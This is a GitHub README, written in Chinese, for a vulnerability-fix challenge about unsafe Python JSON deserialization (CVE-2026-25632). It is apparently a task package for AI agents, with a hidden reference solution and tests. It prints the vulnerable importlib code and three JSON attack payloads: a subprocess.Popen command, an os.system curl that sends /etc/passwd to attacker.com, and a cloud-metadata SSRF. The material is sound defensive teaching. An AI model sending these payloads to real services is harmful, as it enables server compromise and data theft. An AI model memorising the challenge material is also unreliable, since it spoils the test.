lazarus0x1337/CVE-2026-25632

GitHub: lazarus0x1337/CVE-2026-25632

针对 Python JSON 反序列化 RCE 漏洞(CVE-2026-25632)的修复挑战项目,要求用白名单机制替换不安全的动态类加载逻辑。

Stars: 1 | Forks: 0

# CVE-2026-25632 — REST API 中的 JSON 反序列化 RCE(漏洞修复挑战) ## 背景 该模式于 2026 年作为一个重大开源项目中的严重远程代码执行(RCE)漏洞被披露。安全研究人员发现,控制 JSON body 的攻击者可以构建一个 **gadget chain**,以 Python 标准库中的任何可调用对象为攻击目标——包括 `subprocess.Popen`、`os.system`、`eval` 以及 25 个以上的 SSRF gadget——只需单个 HTTP 请求即可实现完整的服务器入侵,**无需身份验证**。 ## 你的任务 你将获得 `src/solution.py` 的**易受攻击版本**,其中包含了确切的不安全反序列化模式。 **你的目标:** 修复 `DeserializationService.load_from_json()` 中的漏洞,以便: 1. 合法的、**白名单内的** simulation 对象仍然可以被正确反序列化。 2. 任何加载白名单**之外**类的尝试都会引发 `SecurityError`。 3. `__type__` 字段不再允许任意的模块导入或类实例化。 4. 所有有效的 simulation 数据(非 `__type__` 的 JSON)继续正常加载。 ## 技术问题陈述 ### 易受攻击的代码模式(请勿使用) ``` # 危险 — CVE-2026-25632 模式 import importlib def _unsafe_load(data: dict): if "__type__" in data: module_path, class_name = data["__type__"].rsplit(".", 1) module = importlib.import_module(module_path) # attacker-controlled! cls = getattr(module, class_name) # attacker-controlled! return cls(**data.get("args", {})) # arbitrary code execution! ``` ### 攻击向量(来自真实的安全研究) 攻击者发送一个带有精心构造的 JSON body 的 POST 请求: **向量 1 — 通过 subprocess 直接 RCE:** ``` { "__type__": "subprocess.Popen", "args": {"args": ["id"], "shell": true} } ``` **向量 2 — 通过 os.system 进行 RCE:** ``` { "__type__": "os.system", "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"} } ``` **向量 3 — 通过 urllib.request.urlopen 进行 SSRF:** ``` { "__type__": "urllib.request.urlopen", "args": {"url": "http://169.254.169.254/latest/meta-data/"} } ``` 安全研究人员记录了 **12 个直接 RCE gadget** 和 **25 个 SSRF gadget**,仅通过 Python 标准库即可以此方式触发。 ## 白名单类型 以下,且**仅限**以下的 simulation 对象类型可以通过 `__type__` 进行反序列化: | `__type__` 值 | Python 类 | |----------------------------|---------------------------------| | `simulation.Sensor` | `novasim.models.Sensor` | | `simulation.Actuator` | `novasim.models.Actuator` | | `simulation.Scenario` | `novasim.models.Scenario` | 任何其他的 `__type__` 值必须立即引发 `SecurityError`,**在任何导入或实例化发生之前**。 ## 输入 / 输出规范 ### 输入 提交给 `DeserializationService.load_from_json(raw: str) -> dict | SimObject` 的 JSON 对象 ### 输出 - 如果 JSON 没有 `__type__` 键:返回 `dict`(解析后的 JSON)。 - 如果 JSON 包含在白名单内的 `__type__`:返回对应的 simulation 对象实例。 - 如果 JSON 包含不在白名单内的 `__type__`:引发 `SecurityError`,消息为:`"Blocked unsafe type: "`。 - 如果 JSON 格式错误:引发 `ValueError`,消息为:`"Invalid JSON payload"`。 ### 边界情况 / 错误处理规则 | 场景 | 预期行为 | |---------------------------------------|--------------------------------------------| | 缺少 `__type__` | 解析并作为普通 dict 返回 | | `__type__` = `"simulation.Sensor"` | 实例化 `Sensor(**args)` | | `__type__` = `"subprocess.Popen"` | 引发 `SecurityError` | | `__type__` = `"os.system"` | 引发 `SecurityError` | | `__type__` = `"__builtins__.eval"` | 引发 `SecurityError` | | `__type__` = `""`(空字符串) | 引发 `SecurityError` | | `__type__` = 列表或整数 | 引发 `SecurityError`(无效类型字段)| | 格式错误的 JSON 字符串 | 引发 `ValueError` | | 有效对象中未知的额外字段 | 接受,作为 kwargs 传递给构造函数 | ## 文件 ``` challenge-cve-2026-25632/ ├── README.md <- You are here ├── Dockerfile <- Deterministic build environment ├── src/ │ ├── solution.py <- BUGGY starter code (your target) │ ├── solution_fixed.py <- Reference solution (hidden from agent) │ └── novasim/ │ ├── __init__.py │ └── models.py <- Allowlisted simulation model classes └── tests/ └── test_solution.py <- Test harness (FAILS on buggy, PASSES on fixed) ``` ## 验证标准 该修复必须通过以下所有条件: - 所有 4 个标准反序列化测试(白名单类型,无类型的普通 dict) - 所有 5 个攻击向量拦截测试(subprocess、os、eval、urllib、builtins) - 所有 3 个边界情况测试(空类型、非字符串类型、格式错误的 JSON) - 测试期间无外部网络调用 - 多次运行结果确定一致 ## 参考 - NVD — CVE-2026-25632 - CISA 咨询 — 已知被利用的漏洞目录 - 安全研究:发现了 79 个 Gadget — MazeHQ, 2026 - CWE-502:不可信数据的反序列化
标签:CISA项目, Homebrew安装, JSON反序列化, Python, Web安全, 安全漏洞修复, 无后门, 蓝队分析, 请求拦截, 逆向工具